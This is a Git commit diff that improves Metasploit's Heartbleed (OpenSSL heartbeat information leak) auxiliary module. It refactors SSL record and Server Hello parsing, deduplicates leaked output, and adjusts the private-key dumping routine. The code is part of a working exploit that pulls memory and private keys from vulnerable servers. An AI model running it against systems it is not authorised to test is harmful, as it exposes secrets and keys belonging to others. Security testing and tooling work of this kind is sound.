Land #6182, Heartbleed scanner improvements

bug/bundler_fix
William Vu 2015-11-11 16:59:20 -06:00
commit e8dacf32fd
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
1 changed files with 65 additions and 31 deletions

View File

@ -71,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary
0x00ff # Unknown 0x00ff # Unknown
] ]
SSL_RECORD_HEADER_SIZE = 0x05
HANDSHAKE_RECORD_TYPE = 0x16 HANDSHAKE_RECORD_TYPE = 0x16
HEARTBEAT_RECORD_TYPE = 0x18 HEARTBEAT_RECORD_TYPE = 0x18
ALERT_RECORD_TYPE = 0x15 ALERT_RECORD_TYPE = 0x15
@ -79,7 +80,6 @@ class Metasploit3 < Msf::Auxiliary
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
TLS_VERSION = { TLS_VERSION = {
'SSLv3' => 0x0300, 'SSLv3' => 0x0300,
'1.0' => 0x0301, '1.0' => 0x0301,
@ -99,6 +99,9 @@ class Metasploit3 < Msf::Auxiliary
# See the discussion at https://github.com/rapid7/metasploit-framework/pull/3252 # See the discussion at https://github.com/rapid7/metasploit-framework/pull/3252
SAFE_CHECK_MAX_RECORD_LENGTH = (1 << 14) SAFE_CHECK_MAX_RECORD_LENGTH = (1 << 14)
# For verbose output, deduplicate repeated characters beyond this threshold
DEDUP_REPEATED_CHARS_THRESHOLD = 400
def initialize def initialize
super( super(
'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak', 'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak',
@ -203,18 +206,13 @@ class Metasploit3 < Msf::Auxiliary
# Main method # Main method
def run_host(ip) def run_host(ip)
# initial connect to get public key and stuff
connect_result = establish_connect
disconnect
return if connect_result.nil?
case action.name case action.name
when 'SCAN' when 'SCAN'
loot_and_report(bleed) loot_and_report(bleed)
when 'DUMP' when 'DUMP'
loot_and_report(bleed) # Scan & Dump are similar, scan() records results loot_and_report(bleed) # Scan & Dump are similar, scan() records results
when 'KEYS' when 'KEYS'
getkeys get_keys
else else
# Shouldn't get here, since Action is Enum # Shouldn't get here, since Action is Enum
print_error("Unknown Action: #{action.name}") print_error("Unknown Action: #{action.name}")
@ -424,20 +422,15 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{peer} - Sending Client Hello...") vprint_status("#{peer} - Sending Client Hello...")
sock.put(client_hello) sock.put(client_hello)
server_hello = get_data
unless server_hello
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
return nil
end
server_resp_parsed = parse_ssl_record(server_hello) server_resp = get_server_hello
if server_resp_parsed.nil? if server_resp.nil?
vprint_error("#{peer} - Server Hello Not Found") vprint_error("#{peer} - Server Hello Not Found")
return nil return nil
end end
server_resp_parsed server_resp
end end
# Generates a heartbeat request # Generates a heartbeat request
@ -455,7 +448,7 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{peer} - Sending Heartbeat...") vprint_status("#{peer} - Sending Heartbeat...")
sock.put(heartbeat_request(heartbeat_length)) sock.put(heartbeat_request(heartbeat_length))
hdr = get_data(5) hdr = get_data(SSL_RECORD_HEADER_SIZE)
if hdr.nil? || hdr.empty? if hdr.nil? || hdr.empty?
vprint_error("#{peer} - No Heartbeat response...") vprint_error("#{peer} - No Heartbeat response...")
disconnect disconnect
@ -533,16 +526,34 @@ class Metasploit3 < Msf::Auxiliary
print_status("#{peer} - Heartbeat data stored in #{path}") print_status("#{peer} - Heartbeat data stored in #{path}")
end end
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}") # Convert non-printable characters to periods
printable_data = heartbeat_data.gsub(/[^[:print:]]/, '.')
# Keep this many duplicates as padding around the deduplication message
duplicate_pad = (DEDUP_REPEATED_CHARS_THRESHOLD / 3).round
# Remove duplicate characters
abbreviated_data = printable_data.gsub(/(.)\1{#{(DEDUP_REPEATED_CHARS_THRESHOLD - 1)},}/) do |s|
s[0, duplicate_pad] +
' repeated ' + (s.length - (2 * duplicate_pad)).to_s + ' times ' +
s[-duplicate_pad, duplicate_pad]
end
# Show abbreviated data
vprint_status("#{peer} - Printable info leaked:\n#{abbreviated_data}")
end end
# #
# Keydumoing helper methods # Keydumping helper methods
# #
# Tries to retreive the private key # Tries to retreive the private key
def getkeys def get_keys
connect_result = establish_connect
disconnect
return if connect_result.nil?
print_status("#{peer} - Scanning for private keys") print_status("#{peer} - Scanning for private keys")
count = 0 count = 0
@ -681,11 +692,32 @@ class Metasploit3 < Msf::Auxiliary
ssl_record(HANDSHAKE_RECORD_TYPE, data) ssl_record(HANDSHAKE_RECORD_TYPE, data)
end end
# Parse SSL header def get_ssl_record
def parse_ssl_record(data) hdr = get_data(SSL_RECORD_HEADER_SIZE)
ssl_records = []
remaining_data = data unless hdr
vprint_error("#{peer} - No SSL record header received after #{response_timeout} seconds...")
return nil
end
len = hdr.unpack('Cnn')[2]
data = get_data(len)
unless data
vprint_error("#{peer} - No SSL record contents received after #{response_timeout} seconds...")
return nil
end
hdr << data
end
# Get and parse server hello response until we hit Server Hello Done or timeout
def get_server_hello
server_done = nil
ssl_record_counter = 0 ssl_record_counter = 0
remaining_data = get_ssl_record
while remaining_data && remaining_data.length > 0 while remaining_data && remaining_data.length > 0
ssl_record_counter += 1 ssl_record_counter += 1
ssl_unpacked = remaining_data.unpack('CH4n') ssl_unpacked = remaining_data.unpack('CH4n')
@ -702,17 +734,19 @@ class Metasploit3 < Msf::Auxiliary
else else
ssl_data = remaining_data[5, ssl_len] ssl_data = remaining_data[5, ssl_len]
handshakes = parse_handshakes(ssl_data) handshakes = parse_handshakes(ssl_data)
ssl_records << {
:type => ssl_type, # Stop once we receive a SERVER_HELLO_DONE
:version => ssl_version, if handshakes && handshakes.length > 0 && handshakes[-1][:type] == HANDSHAKE_SERVER_HELLO_DONE_TYPE
:length => ssl_len, server_done = true
:data => handshakes break
}
end
remaining_data = remaining_data[(ssl_len + 5)..-1]
end end
ssl_records end
remaining_data = get_ssl_record
end
server_done
end end
# Parse Handshake data returned from servers # Parse Handshake data returned from servers